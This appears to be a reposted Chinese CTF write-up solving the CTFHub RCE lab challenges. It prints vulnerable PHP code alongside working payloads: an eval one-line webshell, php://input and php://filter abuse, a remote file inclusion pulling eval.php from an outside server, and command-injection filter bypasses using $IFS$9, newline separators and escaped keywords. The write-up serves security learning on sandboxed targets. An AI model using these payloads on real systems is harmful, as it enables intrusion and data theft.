Web安全基础 – RCE CTFhub

题目来自CTFHub,Web方向技能树Rce部分https://www.ctfhub.com/#/skilltree

基本介绍

远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码。
为了实现特定效果,后台有时候也会把用户的输入作为代码的一部分进行执行,服务器没有针对执行函数做过滤就执行命令时就会产生该漏洞。

php可能产生RCE的常见函数:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

$_REQUEST既可以接收get参数,又可以接受post参数。

eval函数可以执行php代码,直接写一句话木马
http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]
image
doughnuts连接成功
在目录简单找一下就能发现flag,一般都在根目录
image

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?

题目给出了shell.txt,不用再写一句话木马了,我们包含一下。
image
根目录下cat flagctfhub{4b4829e63f7df5d8916a07a9}

php://input

php://input是php语言中一个只读的数据流;通过”php://input”,可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非”multipart/form-data”的所有数据;”php://input”一般用来读取POST上来,除已被处理以外的剩余数据。

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

可以发现这里的phpinfo其实是include包含的内容。
在hackbar内直接POST无法得到命令执行的结果,使用BurpSuite可以,不知为何。
这里使用HackBar进行post请求,在BurpSuite内添加<?php systeam("ls /"); ?>
重复上述,添加上<?php systeam("cat flag_6452"); ?>
image

读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag

这两道题目其实是考察了php伪协议的知识点,具体可以参考https://segmentfault.com/a/1190000018991087
在CTF中,我们经常通过php://filter来读取源码,php://input来执行php代码。

image
payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag
image

远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo

和文件包含那道题类似,但是这里没有给我们直接可以执行的webshell,因为是RFI,所以我们向另一个服务器上上传再构造payload即可。
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php

命令注入

无过滤注入
我们使用;或者|运算符,ls确定文件;ls -l然后;cat 245262950117066.php|base64
这里直接cat没有回显,推测是输出被浏览器解释为注释,转换为base64发现回显,或者用F12查看页面源码也可以发现回显(快做完了才发现
解密后得到

过滤cat

思路和上一题一样,先看有没有文件

(!preg_match_all("/cat/", $ip, $m))

这里只过滤了cat,我们还有很多其他指令可以达到类似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}

过滤空格

空格过滤可以使用linux下的$IFS$9来代替

常见的空格绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

payload:;cat$IFS$9flag_2798498929898.php|base64

过滤目录分隔符

这次flag在一个叫flag_is_here的文件夹里,不使用/即可;cd flag_is_here;cat *|base64
回显如下:
Array
(
[0] => PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}

过滤运算符

过滤了(||&)几种运算符
不使用管道运算符接口
payload:
1 : ;ls 2 : ;base64 flag_140863035031052.php > a 3 : ;cat a

综合过滤练习

过滤了(||&|;| |/|cat|flag|ctfhub)
利用linux下一类少见的命令分隔符:%0a、%0d、%0D%0A,其实也就是回车和换行来分割ping。
字符串的过滤可以利用十六进制编码或者\和’等符号来绕过
这道题直接在输入框里面输入的话%会被url编码为%25,所以直接构造url即可。
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea
image

总结

总的来说这套题目相对简单,没有很偏很怪的考点但是也不是特别全面,比如这篇里的内容很多就没有考察到(
还是要做更多题才能让自己的知识体系更全面。

原文地址:http://www.cnblogs.com/sanyic/p/16928906.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性